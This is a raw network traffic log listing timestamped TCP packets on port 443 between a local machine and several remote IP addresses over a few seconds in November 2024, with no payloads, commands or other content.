Nov 24, 2024 05:11:30.679156065 CET	443	49731	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:30.679222107 CET	49731	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.679416895 CET	49731	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.679428101 CET	443	49731	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:30.809906960 CET	443	49725	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:30.809981108 CET	443	49725	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:30.810072899 CET	49725	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.810184002 CET	49725	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.810230970 CET	443	49725	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:30.810265064 CET	49725	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.810280085 CET	443	49725	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:30.812973976 CET	49732	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.813020945 CET	443	49732	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:30.813072920 CET	49732	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.813214064 CET	49732	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.813226938 CET	443	49732	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:30.872112989 CET	443	49726	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:30.872253895 CET	443	49726	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:30.872308969 CET	49726	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.872507095 CET	49726	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.872524977 CET	443	49726	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:30.872538090 CET	49726	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.872548103 CET	443	49726	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:30.875191927 CET	49733	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.875240088 CET	443	49733	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:30.875345945 CET	49733	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.875458002 CET	49733	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.875475883 CET	443	49733	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:30.941973925 CET	443	49727	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:30.942039967 CET	443	49727	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:30.942131042 CET	49727	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.942245960 CET	49727	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.942245960 CET	49727	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.942290068 CET	443	49727	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:30.942317963 CET	443	49727	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:30.944328070 CET	49734	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.944351912 CET	443	49734	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:30.944442034 CET	49734	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.944539070 CET	49734	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:30.944550991 CET	443	49734	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:31.034004927 CET	443	49728	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:31.034147024 CET	443	49728	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:31.034373999 CET	49728	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:31.034373999 CET	49728	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:31.034373999 CET	49728	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:31.036061049 CET	49735	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:31.036154985 CET	443	49735	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:31.036262035 CET	49735	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:31.036381006 CET	49735	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:31.036422014 CET	443	49735	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:31.081789970 CET	443	49729	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:31.081912994 CET	49729	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:31.083636999 CET	49729	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:31.083666086 CET	443	49729	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:31.083962917 CET	443	49729	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:31.085659981 CET	49729	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:31.085798979 CET	49729	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:31.085813046 CET	443	49729	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:31.348918915 CET	49728	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:31.348979950 CET	443	49728	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:31.785155058 CET	443	49729	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:31.785264015 CET	443	49729	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:31.785491943 CET	49729	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:31.785795927 CET	49729	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:31.785836935 CET	443	49729	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:32.451297998 CET	443	49730	4.175.87.197	192.168.2.7
Nov 24, 2024 05:11:32.451432943 CET	49730	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:11:32.454416990 CET	49730	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:11:32.454422951 CET	443	49730	4.175.87.197	192.168.2.7
Nov 24, 2024 05:11:32.454698086 CET	443	49730	4.175.87.197	192.168.2.7
Nov 24, 2024 05:11:32.460812092 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:32.460894108 CET	443	49736	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:32.460992098 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:32.461472034 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:32.461512089 CET	443	49736	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:32.465825081 CET	443	49731	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.469290972 CET	49731	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:32.469330072 CET	443	49731	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.469990969 CET	49731	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:32.469999075 CET	443	49731	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.505171061 CET	49730	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:11:32.655936956 CET	443	49733	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.656702042 CET	49733	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:32.656730890 CET	443	49733	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.657351971 CET	49733	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:32.657357931 CET	443	49733	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.658226013 CET	443	49734	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.658370018 CET	443	49732	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.658590078 CET	49734	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:32.658623934 CET	443	49734	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.658932924 CET	49732	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:32.658946991 CET	443	49732	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.659080029 CET	49734	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:32.659084082 CET	443	49734	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.659615993 CET	49732	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:32.659620047 CET	443	49732	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.817409992 CET	443	49735	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.818629026 CET	49735	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:32.818706036 CET	443	49735	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.819376945 CET	49735	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:32.819391012 CET	443	49735	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.909900904 CET	443	49731	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.909982920 CET	443	49731	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.910170078 CET	49731	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:32.910470963 CET	49731	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:32.910499096 CET	443	49731	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.910516024 CET	49731	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:32.910522938 CET	443	49731	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.914239883 CET	49738	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:32.914288044 CET	443	49738	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:32.914388895 CET	49738	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:32.914608955 CET	49738	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:32.914627075 CET	443	49738	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.094192982 CET	443	49734	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.094260931 CET	443	49734	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.094532013 CET	49734	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.094645023 CET	49734	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.094662905 CET	443	49734	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.094691992 CET	49734	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.094696999 CET	443	49734	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.098598957 CET	49739	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.098644972 CET	443	49739	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.098722935 CET	49739	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.098999977 CET	49739	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.099014997 CET	443	49739	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.099369049 CET	443	49733	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.099452019 CET	443	49733	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.099562883 CET	49733	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.099698067 CET	49733	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.099741936 CET	443	49733	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.099778891 CET	49733	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.099812984 CET	443	49733	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.102734089 CET	49740	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.102773905 CET	443	49740	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.102830887 CET	49740	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.103147030 CET	49740	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.103161097 CET	443	49740	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.110708952 CET	443	49732	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.110784054 CET	443	49732	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.110934973 CET	49732	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.110992908 CET	49732	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.111000061 CET	443	49732	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.113869905 CET	49741	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.113902092 CET	443	49741	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.114027023 CET	49741	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.114181042 CET	49741	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.114195108 CET	443	49741	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.260898113 CET	443	49735	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.261064053 CET	443	49735	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.261281967 CET	49735	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.261486053 CET	49735	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.261528015 CET	443	49735	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.261558056 CET	49735	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.261573076 CET	443	49735	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.265021086 CET	49742	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.265063047 CET	443	49742	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.265149117 CET	49742	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.265333891 CET	49742	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:33.265347004 CET	443	49742	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:33.767653942 CET	443	49736	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:33.767750978 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:33.769093037 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:33.769123077 CET	443	49736	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:33.769378901 CET	443	49736	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:33.771116018 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:33.771892071 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:33.771940947 CET	443	49736	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:33.772070885 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:33.772119045 CET	443	49736	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:33.772238970 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:33.772274971 CET	443	49736	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:33.772450924 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:33.772500038 CET	443	49736	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:33.773230076 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:33.773279905 CET	443	49736	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:33.773461103 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:33.773500919 CET	443	49736	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:33.773519039 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:33.773540974 CET	443	49736	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:33.773729086 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:33.773766041 CET	443	49736	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:33.773809910 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:33.773900032 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:33.773937941 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:33.815377951 CET	443	49736	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:33.815577030 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:33.815654039 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:33.815709114 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:33.863338947 CET	443	49736	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:33.864939928 CET	49736	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:33.907346964 CET	443	49736	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:33.969160080 CET	49730	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:11:34.015331984 CET	443	49730	4.175.87.197	192.168.2.7
Nov 24, 2024 05:11:34.570775986 CET	443	49730	4.175.87.197	192.168.2.7
Nov 24, 2024 05:11:34.570796967 CET	443	49730	4.175.87.197	192.168.2.7
Nov 24, 2024 05:11:34.570804119 CET	443	49730	4.175.87.197	192.168.2.7
Nov 24, 2024 05:11:34.570813894 CET	443	49730	4.175.87.197	192.168.2.7
Nov 24, 2024 05:11:34.570866108 CET	443	49730	4.175.87.197	192.168.2.7
Nov 24, 2024 05:11:34.570871115 CET	49730	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:11:34.570897102 CET	443	49730	4.175.87.197	192.168.2.7
Nov 24, 2024 05:11:34.570921898 CET	49730	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:11:34.570950985 CET	49730	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:11:34.570950985 CET	49730	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:11:34.592767000 CET	443	49730	4.175.87.197	192.168.2.7
Nov 24, 2024 05:11:34.592849016 CET	443	49730	4.175.87.197	192.168.2.7
Nov 24, 2024 05:11:34.592961073 CET	49730	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:11:34.593139887 CET	49730	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:11:34.763899088 CET	443	49738	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:34.816940069 CET	49738	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:34.816962004 CET	443	49738	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:34.818303108 CET	443	49740	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:34.856820107 CET	49738	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:34.856833935 CET	443	49738	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:34.864552975 CET	49740	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:34.866858959 CET	49740	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:34.866869926 CET	443	49740	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:34.867278099 CET	49740	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:34.867283106 CET	443	49740	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:34.893548965 CET	443	49741	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:34.893989086 CET	49741	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:34.894011021 CET	443	49741	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:34.898586035 CET	49741	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:34.898593903 CET	443	49741	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:34.942857981 CET	443	49739	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:34.949390888 CET	49739	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:34.949435949 CET	443	49739	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:34.949794054 CET	49739	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:34.949805021 CET	443	49739	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:34.986998081 CET	443	49742	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.016515017 CET	49742	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.016534090 CET	443	49742	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.030376911 CET	49742	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.030383110 CET	443	49742	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.216722012 CET	443	49738	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.216877937 CET	443	49738	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.216942072 CET	49738	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.217578888 CET	49738	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.217578888 CET	49738	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.217597008 CET	443	49738	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.217607021 CET	443	49738	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.252445936 CET	443	49740	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.252535105 CET	443	49740	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.252625942 CET	49740	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.264367104 CET	49740	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.264389992 CET	443	49740	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.264403105 CET	49740	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.264409065 CET	443	49740	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.322649956 CET	49746	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.322704077 CET	443	49746	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.322813988 CET	49746	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.336735010 CET	443	49741	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.336796999 CET	443	49741	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.336891890 CET	49741	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.360040903 CET	49746	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.360059977 CET	443	49746	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.367208958 CET	49741	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.367228031 CET	443	49741	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.367242098 CET	49741	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.367247105 CET	443	49741	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.370193958 CET	49747	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.370229959 CET	443	49747	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.370479107 CET	49747	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.370642900 CET	49747	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.370651960 CET	443	49747	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.373174906 CET	49748	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.373195887 CET	443	49748	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.373259068 CET	49748	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.374356031 CET	49748	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.374370098 CET	443	49748	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.395800114 CET	443	49739	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.395864010 CET	443	49739	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.395956039 CET	49739	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.398593903 CET	49739	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.398593903 CET	49739	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.398612022 CET	443	49739	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.398622036 CET	443	49739	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.413939953 CET	49749	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.413973093 CET	443	49749	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.414057016 CET	49749	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.414544106 CET	49749	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.414556026 CET	443	49749	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.421140909 CET	443	49742	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.421235085 CET	443	49742	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.421310902 CET	49742	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.425779104 CET	49742	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.425790071 CET	443	49742	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.425798893 CET	49742	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.425802946 CET	443	49742	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.445580006 CET	49750	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.445625067 CET	443	49750	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.445696115 CET	49750	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.446960926 CET	49750	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:35.446975946 CET	443	49750	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:35.952867985 CET	49730	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:11:35.952867985 CET	49730	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:11:35.952893972 CET	443	49730	4.175.87.197	192.168.2.7
Nov 24, 2024 05:11:35.952905893 CET	443	49730	4.175.87.197	192.168.2.7
Nov 24, 2024 05:11:36.084202051 CET	49677	443	192.168.2.7	20.50.201.200
Nov 24, 2024 05:11:37.087855101 CET	443	49748	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.089466095 CET	49748	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.089483976 CET	443	49748	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.091377974 CET	49748	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.091386080 CET	443	49748	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.127140045 CET	443	49749	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.128005981 CET	49749	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.128032923 CET	443	49749	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.128485918 CET	49749	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.128490925 CET	443	49749	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.151369095 CET	443	49747	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.151916027 CET	49747	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.151932001 CET	443	49747	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.152411938 CET	49747	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.152417898 CET	443	49747	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.207376957 CET	443	49746	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.208007097 CET	49746	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.208053112 CET	443	49746	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.210141897 CET	49746	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.210150003 CET	443	49746	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.300414085 CET	443	49750	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.301155090 CET	49750	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.301173925 CET	443	49750	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.301776886 CET	49750	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.301784039 CET	443	49750	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.521836042 CET	443	49748	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.521914005 CET	443	49748	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.522053957 CET	49748	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.537412882 CET	49748	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.537412882 CET	49748	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.537451029 CET	443	49748	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.537463903 CET	443	49748	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.541917086 CET	49751	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.541958094 CET	443	49751	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.542120934 CET	49751	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.542515039 CET	49751	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.542529106 CET	443	49751	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.562199116 CET	443	49749	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.562259912 CET	443	49749	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:37.562333107 CET	49749	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.567944050 CET	49749	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:37.567953110 CET	443	49749	13.107.246.63	192.168.2.7
